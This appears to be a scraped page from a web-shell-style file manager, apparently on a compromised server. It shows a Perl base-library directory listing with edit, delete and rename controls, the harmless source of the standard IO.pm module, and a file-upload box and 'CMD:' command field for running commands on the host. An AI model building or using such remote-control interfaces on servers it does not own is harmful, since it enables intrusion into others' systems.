Current Dir: /snap/core22/2437/usr/lib/x86_64-linux-gnu/perl-base/

[DIR]  auto [ delete | rename ]
[DIR]  Carp [ delete | rename ]
[DIR]  Exporter [ delete | rename ]
[DIR]  File [ delete | rename ]
[DIR]  Getopt [ delete | rename ]
[DIR]  Hash [ delete | rename ]
[DIR]  IO [ delete | rename ]
[DIR]  IPC [ delete | rename ]
[DIR]  List [ delete | rename ]
[DIR]  Scalar [ delete | rename ]
[DIR]  Text [ delete | rename ]
[DIR]  Tie [ delete | rename ]
[DIR]  unicore [ delete | rename ]
[DIR]  warnings [ delete | rename ]
[FILE] attributes.pm [ edit | delete | rename ]
[FILE] AutoLoader.pm [ edit | delete | rename ]
[FILE] base.pm [ edit | delete | rename ]
[FILE] bytes.pm [ edit | delete | rename ]
[FILE] bytes_heavy.pl [ edit | delete | rename ]
[FILE] Carp.pm [ edit | delete | rename ]
[FILE] Config.pm [ edit | delete | rename ]
[FILE] Config_git.pl [ edit | delete | rename ]
[FILE] Config_heavy.pl [ edit | delete | rename ]
[FILE] constant.pm [ edit | delete | rename ]
[FILE] Cwd.pm [ edit | delete | rename ]
[FILE] DynaLoader.pm [ edit | delete | rename ]
[FILE] Errno.pm [ edit | delete | rename ]
[FILE] Exporter.pm [ edit | delete | rename ]
[FILE] Fcntl.pm [ edit | delete | rename ]
[FILE] feature.pm [ edit | delete | rename ]
[FILE] fields.pm [ edit | delete | rename ]
[FILE] FileHandle.pm [ edit | delete | rename ]
[FILE] integer.pm [ edit | delete | rename ]
[FILE] IO.pm [ edit | delete | rename ]
[FILE] lib.pm [ edit | delete | rename ]
[FILE] locale.pm [ edit | delete | rename ]
[FILE] overload.pm [ edit | delete | rename ]
[FILE] overloading.pm [ edit | delete | rename ]
[FILE] parent.pm [ edit | delete | rename ]
[FILE] POSIX.pm [ edit | delete | rename ]
[FILE] re.pm [ edit | delete | rename ]
[FILE] SelectSaver.pm [ edit | delete | rename ]
[FILE] Socket.pm [ edit | delete | rename ]
[FILE] strict.pm [ edit | delete | rename ]
[FILE] Symbol.pm [ edit | delete | rename ]
[FILE] utf8.pm [ edit | delete | rename ]
[FILE] vars.pm [ edit | delete | rename ]
[FILE] warnings.pm [ edit | delete | rename ]
[FILE] XSLoader.pm [ edit | delete | rename ]

Viewing: /snap/core22/2437/usr/lib/x86_64-linux-gnu/perl-base/IO.pm

#

package IO;

use XSLoader ();
use Carp;
use strict;
use warnings;

our $VERSION = "1.46";
XSLoader::load 'IO', $VERSION;

sub import {
    shift;

    warnings::warnif('deprecated', qq{Parameterless "use IO" deprecated})
        if @_ == 0 ;
    
    my @l = @_ ? @_ : qw(Handle Seekable File Pipe Socket Dir);

    local @INC = @INC;
    pop @INC if $INC[-1] eq '.';
    eval join("", map { "require IO::" . (/(\w+)/)[0] . ";\n" } @l)
	or croak $@;
}

1;

__END__



Upload File: 



    CMD: